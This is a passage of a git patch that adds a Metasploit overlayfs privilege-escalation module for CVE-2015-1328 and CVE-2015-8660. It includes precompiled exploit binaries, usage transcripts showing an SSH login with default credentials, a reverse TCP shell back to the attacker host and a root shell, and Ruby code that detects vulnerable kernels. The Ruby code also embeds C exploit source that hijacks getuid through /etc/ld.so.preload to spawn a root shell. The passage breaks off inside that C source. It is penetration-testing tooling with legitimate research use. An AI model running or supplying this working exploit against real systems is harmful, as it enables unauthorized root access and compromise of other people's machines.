023/157] working module --- data/exploits/CVE-2015-1328/1328 | Bin 0 -> 13655 bytes data/exploits/CVE-2015-8660/8660 | Bin 0 -> 13564 bytes .../exploit/linux/local/overlayfs_priv_esc.md | 180 +++++++ .../linux/local/overlayfs_priv_esc.rb | 458 ++++++++++++++++++ 4 files changed, 638 insertions(+) create mode 100644 data/exploits/CVE-2015-1328/1328 create mode 100644 data/exploits/CVE-2015-8660/8660 create mode 100644 documentation/modules/exploit/linux/local/overlayfs_priv_esc.md create mode 100644 modules/exploits/linux/local/overlayfs_priv_esc.rb diff --git a/data/exploits/CVE-2015-1328/1328 b/data/exploits/CVE-2015-1328/1328 new file mode 100644 index 0000000000000000000000000000000000000000..872f097cf2fcf7fc58fc9cd2921a07b2edaf2d81 GIT binary patch literal 13655 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2015-8660/8660 b/data/exploits/CVE-2015-8660/8660 new file mode 100644 index 0000000000000000000000000000000000000000..532d81071c034536e49217a5241e87f297252c57 GIT binary patch literal 13564 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 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md new file mode 100644 index 0000000000..f8fb582497 --- /dev/null +++ b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md @@ -0,0 +1,180 @@ +## Creating A Testing Environment + +This module has been tested against: + + 1. CVE-2015-1328 + 1. Ubuntu 14.04 + 1. 3.13.0-24 (binary version of exploit compiled on) + 2. 3.19.0-20 + 3. 3.19.0-21 (not vuln, exploit failed) + 4. 3.13.0-55 (not vuln, exploit failed) + 2. CVE-2015-8660 + 1. Ubuntu 14.04 + 1. 3.19.0-41 (binary version of exploit compiled on) + +Untested against + + 1. Fedora (code included to identify vuln versions) + 2. Redhat (description includes vuln kernel versions) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 4. Do: `use exploit/linux/local/overlayfs_priv_esc` + 5. Do: `set session #` + 6. Do: `set verbose true` + 7. Do: `exploit` + +## Options + + **COMPILE** + + If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + +## Scenarios + +### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41 + +#### Initial Access + + resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc + resource (/root/Text-1.txt)> set verbose true + verbose => true + resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (/root/Text-1.txt)> set session 1 + session => 1 + resource (/root/Text-1.txt)> set target 1 + target => 1 + resource (/root/Text-1.txt)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (/root/Text-1.txt)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/haxhax not created + [+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660 + [*] Writing to /tmp/svF1U2Ya.c (2356 bytes) + [*] Max line length is 65537 + [*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf + [*] Compiling /tmp/svF1U2Ya.c + [*] Writing to /tmp/fHCJO1ex (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400 + [+] Deleted /tmp/svF1U2Ya.c + [+] Deleted /tmp/fHCJO1ex + + 3986817421 + viRVXKxRruOuDKwEBYAscFvJPPrtQbTO + true + zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk + cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY + EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC + true + FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt + omnusQCOqEdrUTbMLtDmXibhFAVQuTAz + VPsVgFTxVwskShumsJkambKWMQhifDJi + whoami + root + uname -a + Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux + +### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24 + +#### Initial Access + + resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login + resource (/root/Text-1.txt)> set rhosts 192.168.2.156 + rhosts => 192.168.2.156 + resource (/root/Text-1.txt)> set username ubuntu + username => ubuntu + resource (/root/Text-1.txt)> set password ubuntu + password => ubuntu + resource (/root/Text-1.txt)> exploit + [*] SSH - Starting bruteforce + [+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux ' + [!] No active DB -- Credential data will not be saved! + [*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +#### Escalate + + resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc + resource (/root/Text-1.txt)> set verbose true + verbose => true + resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp + payload => linux/x86/shell/reverse_tcp + resource (/root/Text-1.txt)> set session 1 + session => 1 + resource (/root/Text-1.txt)> set target 0 + target => 0 + resource (/root/Text-1.txt)> set lhost 192.168.2.117 + lhost => 192.168.2.117 + resource (/root/Text-1.txt)> exploit + [*] Started reverse TCP handler on 192.168.2.117:4444 + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [+] gcc is installed + [*] Live compiling exploit on system + [*] Checking if mount points exist + [+] /tmp/ns_sploit not created + [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 + [*] Writing to /tmp/k4JlQwrx.c (4375 bytes) + [*] Max line length is 65537 + [*] Writing 4375 bytes in 1 chunks of 15306 bytes (octal-encoded), using printf + [*] Compiling /tmp/k4JlQwrx.c + [*] Writing to /tmp/cjKriIIN (155 bytes) + [*] Max line length is 65537 + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf + [*] Exploiting... + [*] Sending stage (36 bytes) to 192.168.2.156 + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:57869) at 2016-10-04 22:55:04 -0400 + [+] Deleted /tmp/k4JlQwrx.c + [+] Deleted /tmp/cjKriIIN + + 3437009797 + lGTsPkjgaOAhZPAssSiPBdigTNuavPNA + true + zQgQeZUDzBZvCUelOYXjpIviozSnTjoE + ZaGCLiKvvhyTawBwPHNqidQSerdmxDYE + WjOaBQVXdxHBiVdomUBMRRrnLOPUGfGD + true + DgSZZHBIFrsBMvyRTBNSBTcRmVMZXMyx + bwHnnuHwZAvSsZoYLhNrcuRDIKuqPRWu + NfNIsINldyrgOLLagCPIQiQsZqTsmUec + sh: 0: can't access tty; job control turned off + # whoami + root + # uname -a + Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb new file mode 100644 index 0000000000..73c973009d --- /dev/null +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -0,0 +1,458 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Overlayfs Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit two different CVEs related to overlayfs. + CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 + 3.16.0-25 (14.10 default) < 3.16.0-41 + 3.19.0-18 (15.04 default) < 3.19.0-21 + CVE-2015-8660: + Ubuntu: + 3.19.0-18 < 3.19.0-43 + 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) + Fedora: + < 4.2.8 (vulnerable, un-tested) + Red Hat: + < 3.10.0-327 (rhel 6, vulnerable, un-tested) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'rebel' # Discovery + ], + 'DisclosureDate' => 'Jun 16 2015', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'CVE-2015-1328', { } ], + [ 'CVE-2015-8660', { } ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => + { + 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su + }, + 'References' => + [ + [ 'EDB', '39166'], # CVE-2015-8660 + [ 'EDB', '37292'], # CVE-2015-1328 + [ 'CVE', '2015-1328'], + [ 'CVE', '2015-8660'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def mounts_exist?() + vprint_status('Checking if mount points exist') + if target.name == 'CVE-2015-1328' + if not directory?('/tmp/ns_sploit') + vprint_good('/tmp/ns_sploit not created') + return true + else + print_error('/tmp/ns_sploit directory exists. Please delete.') + return false + end + elsif target.name == 'CVE-2015-8660' + if not directory?('/tmp/haxhax') + vprint_good('/tmp/haxhax not created') + return true + else + print_error('/tmp/haxhax directory exists. Please delete.') + return false + end + end + end + + def kernel_vuln?() + os_id = cmd_exec('grep ^ID= /etc/os-release') + case os_id + when 'ID=ubuntu' + kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) + case kernel.release.to_s + when '3.13.0' + if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.16.0' + if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.19.0' + if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '4.2.0' + if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + else + print_error("Non-vuln kernel #{kernel}") + return false + end + when 'ID=fedora' + kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc + # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') + # => "4.0.4-301" + if kernel.release < Gem::Version.new('4.2.8') + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") + return true + else + print_error("Non-vuln kernel #{kernel}") + return false + end + else + print_error("Unknown OS: #{os_id}") + return false + end + end + + if mounts_exist?() && kernel_vuln?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Exploit Title: ofs.c - overlayfs local root in ubuntu + # Date: 2015-06-15 + # Exploit Author: rebel + # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) + # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 + # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) + + cve_2015_1328 = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" + + static char child_stack[1024*1024]; + + static int + child_exec(void *stuff) + { + char *file; + system("rm -rf /tmp/ns_sploit"); + mkdir("/tmp/ns_sploit", 0777); + mkdir("/tmp/ns_sploit/work", 0777); + mkdir("/tmp/ns_sploit/upper",0777); + mkdir("/tmp/ns_sploit/o",0777); + + fprintf(stderr,"mount #1\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { + // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { + fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); + 